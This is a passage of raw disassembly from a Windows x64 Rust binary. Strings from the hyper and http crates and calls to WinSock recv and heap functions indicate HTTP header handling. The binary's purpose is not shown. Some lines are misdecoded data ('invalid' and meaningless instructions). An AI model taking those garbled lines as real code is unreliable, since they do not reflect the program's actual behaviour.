mov qword [r10 + rcx + 0x20], rdx
mov rdx, qword [rsp + 0x1b0]
mov qword [r10 + rcx + 0x28], rdx
mov rdx, qword [rsp + 0x1b8]
mov qword [r10 + rcx + 0x30], rdx
mov byte [r10 + rcx + 0x38], 0
mov edx, dword [rsp + 0x110]
mov r8d, dword [rsp + 0x113]
mov dword [r10 + rcx + 0x39], edx
mov dword [r10 + rcx + 0x3c], r8d
movaps xmm0, xmmword [rsp + 0x350]
movapd xmm1, xmmword [rsp + 0x360]
movups xmmword [r10 + rcx + 0x40], xmm0
movupd xmmword [r10 + rcx + 0x50], xmm1
mov word [r10 + rcx + 0x60], bp
inc rax
mov qword [rsp + 0x178], rax
xor eax, eax
nop word cs:[rax + rax]
mov rcx, r12
mov r12d, 0
cmp rcx, r13
jae 0x14008d1f0
movzx edx, word [rsi + rcx*4]
cmp dx, 0xffff
je 0x14008d229
inc rax
movzx r8d, word [rsi + rcx*4 + 2]
mov word [rsi + rcx*4], r9w
mov word [rsi + rcx*4 + 2], bp
inc rcx
mov ebp, r8d
mov r9d, edx
mov r12, rcx
jmp 0x14008d1f0
mov word [rsi + rcx*4], r9w
mov word [rsi + rcx*4 + 2], bp
mov rcx, qword [rsp + 0x140]
test rcx, rcx
mov rdx, rcx
mov r8d, 1
cmove rdx, r8
cmp rax, 0x7f
cmova rcx, rdx
test dil, dil
cmovne rcx, rdx
mov qword [rsp + 0x140], rcx
lea r12, [rsp + 0x350]
lea r13, [0x1401d563b]
mov rsi, qword [rsp + 0x30]
cmp rsi, qword [rsp + 0x288]
jne 0x14008b928
jmp 0x14008d421
mov rbx, qword [rsp + 0x190]
mov rax, rbx
cmp rbx, qword [rsp + 0x188]
lea r12, [rsp + 0x350]
lea r13, [0x1401d563b]
jne 0x14008d2c5
lea rcx, [rsp + 0x180]
mov rdx, rbx
call fcn.14006cfd0
mov rax, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x180]
lea rdx, [rax + rax*8]
mov qword [rcx + rdx*8], 0
mov qword [rcx + rdx*8 + 8], rdi
mov qword [rcx + rdx*8 + 0x10], 0
mov qword [rcx + rdx*8 + 0x18], rdi
mov r8, qword [rsp + 0x1a8]
mov qword [rcx + rdx*8 + 0x20], r8
mov r8, qword [rsp + 0x1a0]
mov qword [rcx + rdx*8 + 0x28], r8
mov r8, qword [rsp + 0x1b0]
mov qword [rcx + rdx*8 + 0x30], r8
mov r8, qword [rsp + 0x1b8]
mov qword [rcx + rdx*8 + 0x38], r8
mov byte [rcx + rdx*8 + 0x40], 0
mov r8d, dword [rsp + 0x110]
mov r9d, dword [rsp + 0x113]
mov dword [rcx + rdx*8 + 0x41], r8d
mov dword [rcx + rdx*8 + 0x44], r9d
inc rax
mov qword [rsp + 0x190], rax
mov qword [rsi], 1
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbx
mov rax, qword [rsp + 0x80]
test rax, rax
mov rsi, qword [rsp + 0x30]
je 0x14008d276
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
lea rcx, [rsp + 0x98]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14008d276
mov rdi, qword [rsp + 0x100]
mov rax, rdi
cmp rdi, qword [rsp + 0xf8]
jne 0x14008d3bc
lea rcx, [rsp + 0xf0]
mov rdx, rdi
call fcn.14008f030
mov rax, qword [rsp + 0x100]
mov rcx, qword [rsp + 0xf0]
mov rdx, rax
shl rdx, 6
mov qword [rcx + rdx], 0
mov qword [rcx + rdx + 8], r14
mov qword [rcx + rdx + 0x10], 0
mov qword [rcx + rdx + 0x18], r14
movups xmm0, xmmword [rsp + 0x80]
movupd xmm1, xmmword [rsp + 0x90]
movups xmmword [rcx + rdx + 0x20], xmm0
movupd xmmword [rcx + rdx + 0x30], xmm1
inc rax
mov qword [rsp + 0x100], rax
mov qword [rsi], 1
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
jmp 0x14008ccf9
mov r14, qword [rsp + 0xb0]
cmp r14, 3
je 0x14008d664
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x340], xmm0
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x330], xmm0
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movdqu xmm2, xmmword [rsp + 0xd0]
movups xmm3, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x320], xmm3
movdqa xmmword [rsp + 0x310], xmm2
movaps xmmword [rsp + 0x300], xmm1
movaps xmmword [rsp + 0x2f0], xmm0
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
mov r13, qword [rsp + 0x130]
jne 0x14008d4c6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e43c
mov qword [0x140215360], rax
mov r8d, 0x20
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e43c
mov rsi, rax
lea rax, [0x1401dea30]
mov qword [rsi], rax
movdqu xmmword [rsi + 8], xmm6
mov qword [rsi + 0x18], 0
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008d523
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e526
mov qword [0x140215360], rax
mov r8d, 0x60
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e526
movaps xmm0, xmmword [rsp + 0x340]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x330]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x2f0]
movapd xmm1, xmmword [rsp + 0x300]
movdqa xmm2, xmmword [rsp + 0x310]
movaps xmm3, xmmword [rsp + 0x320]
movups xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movupd xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, fcn.14008e800
mov qword [rsp + 0x20], rcx
mov rcx, rsi
movabs rdx, 0x924d57ea05f46ed9
movabs r8, 0xa7ad2c82e6fda6c7
mov r9, rax
call fcn.14008e650
test rax, rax
je 0x14008d8cb
mov rdi, rax
mov rbx, rdx
mov rcx, rax
call qword [rdx + 0x18]
movabs rcx, 0xa7ad2c82e6fda6c7
xor rdx, rcx
movabs rcx, 0x924d57ea05f46ed9
xor rax, rcx
or rax, rdx
jne 0x14008d8a2
movups xmm0, xmmword [rdi + 0x50]
movaps xmmword [rsp + 0x3a0], xmm0
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0x390], xmm0
movups xmm0, xmmword [rdi]
movupd xmm1, xmmword [rdi + 0x10]
movdqu xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0x380], xmm3
movdqa xmmword [rsp + 0x370], xmm2
movapd xmmword [rsp + 0x360], xmm1
movaps xmmword [rsp + 0x350], xmm0
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x350], 3
je 0x14008d8cb
mov rcx, r12
call fcn.14008e800
jmp 0x14008d8cb
cmp qword [rsp + 0x240], 0
mov r13, qword [rsp + 0x130]
je 0x14008d892
movups xmm0, xmmword [rsp + 0x240]
movups xmm1, xmmword [rsp + 0x250]
movaps xmmword [rsp + 0x360], xmm1
movaps xmmword [rsp + 0x350], xmm0
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008d6c4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e43c
mov qword [0x140215360], rax
mov r8d, 0x20
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e43c
mov rsi, rax
lea rax, [0x1401dea30]
mov qword [rsi], rax
movdqu xmmword [rsi + 8], xmm6
mov qword [rsi + 0x18], 0
mov bpl, 1
jmp 0x14008d8fc
lea eax, [rdi - 1]
mov word [rsp + 0x198], ax
lea r14, [rdi*4]
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008d73c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e537
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e537
mov rbx, rax
cmp rdi, 2
jb 0x14008d7af
mov ecx, 1
mov rax, rbx
cmp rdi, 9
jb 0x14008d799
lea rdx, [rdi - 1]
mov r8, rdx
and r8, 0xfffffffffffffff8
lea rax, [rbx + r8*4]
lea rcx, [r8 + 1]
xor r9d, r9d
movups xmmword [rbx + r9*4], xmm7
movups xmmword [rbx + r9*4 + 0x10], xmm7
add r9, 8
cmp r8, r9
jne 0x14008d780
cmp rdx, r8
je 0x14008d7af
mov rdx, rdi
sub rdx, rcx
nop
mov dword [rax], 0xffff
add rax, 4
dec rdx
jne 0x14008d7a0
mov dword [rax], 0xffff
test r15, r15
je 0x14008d7d1
mov r8, qword [rsp + 0x158]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x158], rbx
mov qword [rsp + 0x160], rdi
mov rax, rdi
shr rax, 2
sub rdi, rax
movabs rax, 0x13b13b13b13b13c
cmp rdi, rax
jae 0x14008e555
imul rbx, rdi, 0x68
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008d82b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e546
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e546
mov r14, rax
cmp qword [rsp + 0x170], 0
je 0x14008d867
mov r8, qword [rsp + 0x168]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x168], r14
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], 0
cmp rsi, 0x65
jb 0x14008b901
jmp 0x14008e40c
mov bpl, 1
xor r15d, r15d
xor esi, esi
mov dil, 1
jmp 0x14008da44
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14008d8cb
cmp qword [rbx + 0x10], 0x11
jb 0x14008d8b9
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x240], 0
je 0x14008da3c
movups xmm0, xmmword [rsp + 0x240]
movups xmm1, xmmword [rsp + 0x250]
movaps xmmword [rsp + 0x360], xmm1
movaps xmmword [rsp + 0x350], xmm0
xor ebp, ebp
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008d925
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e43c
mov qword [0x140215360], rax
mov r8d, 0x20
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e43c
movaps xmm0, xmmword [rsp + 0x350]
movapd xmm1, xmmword [rsp + 0x360]
movupd xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [0x1401aa960]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
movabs rdx, 0xaed0db95b89e719e
movabs r8, 0xe5ccc2defa777b1
mov r9, rax
call fcn.14008e650
test rax, rax
je 0x14008da35
mov rdi, rax
mov rbx, rdx
mov rcx, rax
call qword [rdx + 0x18]
movabs rcx, 0xe5ccc2defa777b1
xor rdx, rcx
movabs rcx, 0xaed0db95b89e719e
xor rax, rcx
or rax, rdx
jne 0x14008da0c
movups xmm0, xmmword [rdi]
movupd xmm1, xmmword [rdi + 0x10]
movapd xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
test rax, rax
je 0x14008da35
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
lea rcx, [rsp + 0x98]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14008da35
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14008da35
cmp qword [rbx + 0x10], 0x11
jb 0x14008da23
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r15b, 1
xor edi, edi
jmp 0x14008da44
mov dil, 1
xor r15d, r15d
xor ebp, ebp
movups xmm0, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x3a0], xmm0
movups xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x390], xmm0
movups xmm0, xmmword [rsp + 0x140]
movupd xmm1, xmmword [rsp + 0x150]
movdqu xmm2, xmmword [rsp + 0x160]
movups xmm3, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x380], xmm3
movdqa xmmword [rsp + 0x370], xmm2
movapd xmmword [rsp + 0x360], xmm1
movaps xmmword [rsp + 0x350], xmm0
mov rax, qword [rsp + 0x138]
mov byte [rsp + 0x3ba], al
mov word [rsp + 0x3b8], r13w
mov qword [rsp + 0x3b0], rsi
movzx eax, r13w
cmp eax, 0x64
jg 0x14008dad5
je 0x14008db02
jmp 0x14008daf4
cmp eax, 0x65
je 0x14008e099
cmp eax, 0xcc
je 0x14008e0d5
cmp eax, 0x130
je 0x14008e0d5
lea eax, [r13 - 0x66]
cmp ax, 0x62
jae 0x14008e09f
mov rax, qword [rsp + 0x238]
mov rbx, qword [rax + 8]
test rbx, rbx
je 0x14008e06d
mov rcx, r12
call fcn.14006a760
mov rcx, rsi
call fcn.1400b9900
cmp r14d, 3
jne 0x14008db47
mov rax, qword [rsp + 0xb0]
cmp eax, 3
je 0x14008db47
lea rcx, [rsp + 0xb0]
call fcn.14008e800
invalid
or al, 0
invalid
mov rax, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x1d8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsp + 0x240]
test rax, rax
sete cl
or r15b, cl
jne 0x14008a95e
mov rdx, qword [rsp + 0x248]
mov r8, qword [rsp + 0x250]
lea rcx, [rsp + 0x258]
pop rax
add al, byte [rax]
add bh, bh
push rax
adc cl, ch
invalid
int 0xff
invalid
mov r10d, 4
sub r15, r10
je 0x14008def3
add rax, r10
xor r10d, r10d
xor r13d, r13d
jmp 0x14008dbd7
test sil, sil
movzx r10d, r10b
sar byte [rsi + 1], cl
cmovs r10d, esi
mov r13, r11
cmp r15, r11
je 0x14008def3
movzx esi, byte [rax + r13]
lea r11, [r13 + 1]
mov edi, esi
add edi, 0xfffffff7
cmp edi, 0x17
ja case.0x14008dbf8.11
lea r12, [0x140209bac]
movsxd rdi, dword [r12 + rdi*4]
add rdi, r12
jmp rdi
test sil, sil
js case.0x14008dbf8.9
lea edi, [rsi - 0x7f]
cmp dil, 0xa2
jae case.0x14008dbf8.9
jmp 0x14008df09
mov rbp, r13
sub r15, r11
test r10b, 1
mov r10, rax
lea rcx, [0x140204680]
cmovne r10, rcx
lea rax, [rax + r11]
mov ecx, 0
cmovne rbp, rcx
mov qword [rsp + 0x58], rbp
jmp 0x14008dc79
cmp r15, r11
jbe 0x14008def3
cmp byte [rax + r11], 0xa
jne 0x14008df09
lea rcx, [r13 + 2]
sub r15, rcx
test r10b, 1
mov r10, rax
lea rcx, [0x140204680]
cmovne r10, rcx
lea rax, [rax + r13 + 2]
mov ecx, 0
cmovne r13, rcx
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x70], r10
test r10, r10
jne 0x14008ac97
jmp 0x14008def3
mov r13, qword [rsp + 0x130]
mov r12, qword [rsp + 0x40]
inc r12
mov rax, r12
mov qword [rsp + 0x40], r12
and r12, 0xffffffffffffff00
jmp 0x14008dce1
cmp rcx, 2
jb 0x14008def3
cmp byte [rbp + 1], 0xa
jne 0x14008ddb7
mov r12, qword [rsp + 0x40]
add r12, 2
mov rax, r12
mov qword [rsp + 0x40], r12
and r12, 0xffffffffffffff00
mov r13, qword [rsp + 0x130]
mov rbp, qword [rsp + 0x58]
lea eax, [r13 - 0x3e8]
movzx eax, ax
cmp eax, 0xfc7c
jb 0x14008e2bb
mov ecx, r13d
call fcn.140082a60
test rax, rax
je 0x14008dd25
cmp rbp, rdx
jne 0x14008dd25
mov rcx, qword [rsp + 0x70]
mov rdx, rax
mov r8, rbp
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14008de29
test rbp, rbp
je 0x14008ddcb
js 0x14008e555
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008dd5d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e638
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e638
mov rdi, rax
mov rcx, rax
mov rdx, qword [rsp + 0x70]
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
test dil, 1
jne 0x14008de06
mov rax, rdi
or rax, 1
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xc0], rbp
mov qword [rsp + 0xc8], rax
xor ecx, ecx
lea rax, [0x1401a9358]
jmp 0x14008de2d
mov rax, qword [rsp + 0x50]
and rax, 0xffffffffffffff00
or rax, 2
jmp 0x14008b47e
lea rax, [0x140204680]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0xb8]
movdqu xmmword [rax + 8], xmm6
xor ecx, ecx
lea rax, [0x1401d3af8]
jmp 0x14008de2d
mov rax, qword [rsp + 0x50]
and rax, 0xffffffffffffff00
or rax, 1
jmp 0x14008b47e
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xc0], rbp
mov qword [rsp + 0xc8], rdi
xor ecx, ecx
lea rax, [0x1401a9370]
jmp 0x14008de2d
mov cl, 1
xor eax, eax
mov qword [rsp + 0xb0], rax
cmp rsi, 0x64
mov edx, 0x64
cmovb rdx, rsi
test rdx, rdx
je 0x14008deb0
shl rdx, 5
xor r8d, r8d
mov r9, qword [rsp + r8 + 0x358]
cmp r9, 0xffff
ja 0x14008e20a
mov r10, qword [rsp + r8 + 0x350]
mov r11, qword [rsp + r8 + 0x360]
sub r10, r14
add r9, r10
sub r11, r14
mov rdi, qword [rsp + r8 + 0x368]
add rdi, r11
mov qword [rsp + r8 + 0xfd0], r10
mov qword [rsp + r8 + 0xfd8], r9
mov qword [rsp + r8 + 0xfe0], r11
mov qword [rsp + r8 + 0xfe8], rdi
add r8, 0x20
cmp rdx, r8
jne 0x14008de4e
movzx ecx, byte [rsp + 0x40]
or rcx, r12
sub rbx, r15
mov qword [rsp + 0x50], rcx
add rbx, rcx
lea rdx, [rsp + 0xb8]
mov rcx, qword [rdx + 0x10]
mov qword [rsp + 0x150], rcx
movdqu xmm0, xmmword [rdx]
movdqa xmmword [rsp + 0x140], xmm0
jmp 0x14008b4af
mov eax, 5
jmp 0x14008b47e
mov rax, qword [rsp + 0x78]
mov qword [rax], 3
jmp 0x14008e025
mov ecx, 2
shl ecx, 3
movabs rax, 0x409000a000000
shr rax, cl
mov rcx, qword [rsp + 0x78]
mov byte [rcx + 8], al
mov qword [rcx], 4
jmp 0x14008e025
mov rsi, qword [rsp + 0x218]
test sil, 1
jne 0x14008df61
lock dec qword [rsi + 0x20]
jne 0x14008df8c
mov rax, qword [rsi + 0x20]
cmp qword [rsi + 8], 0
je 0x14008df7a
mov r8, qword [rsi]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14008df7a
shr rsi, 5
neg rsi
cmp qword [rsp + 0x210], rsi
je 0x14008df8c
add rsi, qword [rsp + 0x200]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x78]
mov byte [rax + 8], 0xb
mov qword [rax], 4
mov bpl, 1
xor esi, esi
mov dil, 1
test bpl, bpl
je 0x14008dfc3
mov rax, qword [rsp + 0xb0]
cmp eax, 3
je 0x14008dfc3
lea rcx, [rsp + 0xb0]
call fcn.14008e800
test sil, sil
jne 0x14008dfd5
lea rcx, [rsp + 0x140]
call fcn.14006a760
mov rax, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x1d8]
call qword [rax + reloc.WS2_32.dll_recv]
test dil, dil
je 0x14008e025
mov rax, qword [rsp + 0x240]
test rax, rax
je 0x14008e025
mov rdx, qword [rsp + 0x248]
mov r8, qword [rsp + 0x250]
lea rcx, [rsp + 0x258]
call qword [rax + reloc.WS2_32.dll_recv]
movaps xmm6, xmmword [rsp + 0x1c50]
movaps xmm7, xmmword [rsp + 0x1c60]
movaps xmm8, xmmword [rsp + 0x1c70]
movaps xmm9, xmmword [rsp + 0x1c80]
movaps xmm10, xmmword [rsp + 0x1c90]
movaps xmm11, xmmword [rsp + 0x1ca0]
add rsp, 0x1cb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 3
mov rsi, qword [rsp + 0x78]
mov qword [rsi], rax
lea rcx, [rsp + 0x350]
call fcn.14006a760
mov rcx, qword [rsp + 0x3b0]
call fcn.1400b9900
jmp 0x14008e151
mov al, 1
xor edx, edx
jmp 0x14008e0d9
mov rax, qword [rsp + 0x290]
movzx eax, byte [rax]
cmp eax, 5
je 0x14008e0d5
cmp eax, 7
mov rsi, qword [rsp + 0x78]
jne 0x14008e176
add r13d, 0xffffff38
cmp r13w, 0x64
jae 0x14008e176
mov al, 1
xor edx, edx
jmp 0x14008e0de
xor edx, edx
xor eax, eax
mov rsi, qword [rsp + 0x78]
movaps xmm0, xmmword [rsp + 0x3b0]
movups xmmword [rsi + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x3a0]
movups xmmword [rsi + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x390]
movups xmmword [rsi + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x350]
movapd xmm1, xmmword [rsp + 0x360]
movdqa xmm2, xmmword [rsp + 0x370]
movaps xmm3, xmmword [rsp + 0x380]
movups xmmword [rsi + 0x30], xmm3
movdqu xmmword [rsi + 0x20], xmm2
movupd xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov ecx, eax
xor cl, 1
mov r8d, dword [rsp + 0x70]
and r8b, cl
mov qword [rsi + 0x70], rdx
mov byte [rsi + 0x78], 0
mov byte [rsi + 0x79], r8b
mov byte [rsi + 0x7a], al
mov sil, 1
test bpl, bpl
jne 0x14008dfa9
jmp 0x14008dfc3
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, rdi
mov rdx, r9
call fcn.140160ed0
ud2
movups xmm0, xmmword [0x1401ab370]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x1401ab360]
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x350]
lea rdx, [rsp + 0x80]
call fcn.14008e8f0
test al, al
je 0x14008e1e8
mov cl, 2
cmp byte [rsp + 0x138], 1
je 0x14008e278
lea rcx, [rsp + 0x350]
call fcn.14008ea80
movzx edx, al
not rdx
xor eax, eax
jmp 0x14008e0de
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, r14
call fcn.140160ed0
ud2
lea rcx, [rsp + 0x350]
call fcn.140087f20
cmp rax, 1
jne 0x14008e23f
mov cl, 9
cmp rdx, 0xfffffffffffffffe
jae 0x14008e278
xor eax, eax
jmp 0x14008e0de
mov rdx, qword [rsp + 0x78]
mov byte [rdx + 8], 9
mov qword [rdx], 4
test cl, cl
jne 0x14008e025
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
lea rcx, [rsp + 0xc8]
jmp 0x14008e022
movups xmm0, xmmword [0x1401d8ae8]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x1401d8ad8]
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x350]
lea rdx, [rsp + 0x80]
call fcn.14008e8f0
mov cl, 1
test al, al
je 0x14008e285
mov byte [rsi + 8], cl
mov eax, 4
jmp 0x14008e077
mov rdx, 0xffffffffffffffff
xor eax, eax
jmp 0x14008e0de
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, r12
mov rdx, r13
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, r12
mov rdx, r15
call fcn.140160ed0
ud2
mov rax, qword [rsp + 0x78]
mov byte [rax + 8], 0xa
mov qword [rax], 4
jmp 0x14008e025
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, rbx
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1_role.rs
mov rdx, rax
call fcn.140161190
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1_role.rs
mov rcx, rax
call fcn.140160f40
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, rdi
call fcn.140160ed0
ud2
lea rax, [rsp + 0x260]
mov qword [rsp + 0x110], rax
lea rax, [fcn.140058ea0]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x210]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rax
lea rax, str.new_len____capacity_
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x80]
call fcn.140160e20
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1_role.rs
mov rcx, rdi
mov rdx, rbx
call fcn.140161190
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1_role.rs
mov rcx, rbx
call fcn.140160f40
ud2
lea rcx, str.header_map_at_capacity
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov edx, reloc.WS2_32.dll_shutdown
call fcn.140162320
ud2
mov ecx, 1
mov rdx, rsi
call fcn.14015d7f0
ud2
lea rcx, str.reserve_overflow
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov edx, reloc.WS2_32.dll_recv
call fcn.140161290
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1_role.rs
mov edx, 0x64
mov rcx, rsi
call fcn.140160f40
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheader_value.rsinvalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov ecx, 8
mov edx, 0x20
call fcn.14015d7f0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1_role.rs
mov edx, 0x64
mov rcx, rsi
call fcn.140160f40
ud2
lea rcx, str.header_map_reserve_over_max_capacity
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov edx, 0x24
call fcn.140162320
ud2
lea rcx, str.header_map_reserve_overflowed
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov edx, 0x1d
call fcn.140162320
ud2
mov qword [rsp + 0x140], r14
lea rax, [rsp + 0x80]
mov qword [rsp + 0xb0], rax
lea rax, [0x140144ae0]
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x140]
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0x20], 2
lea rdx, str.cannot_advance_past__remaining_:___
lea rsi, [rsp + 0x350]
lea r9, [rsp + 0xb0]
mov r8d, 2
mov rcx, rsi
call fcn.140144a40
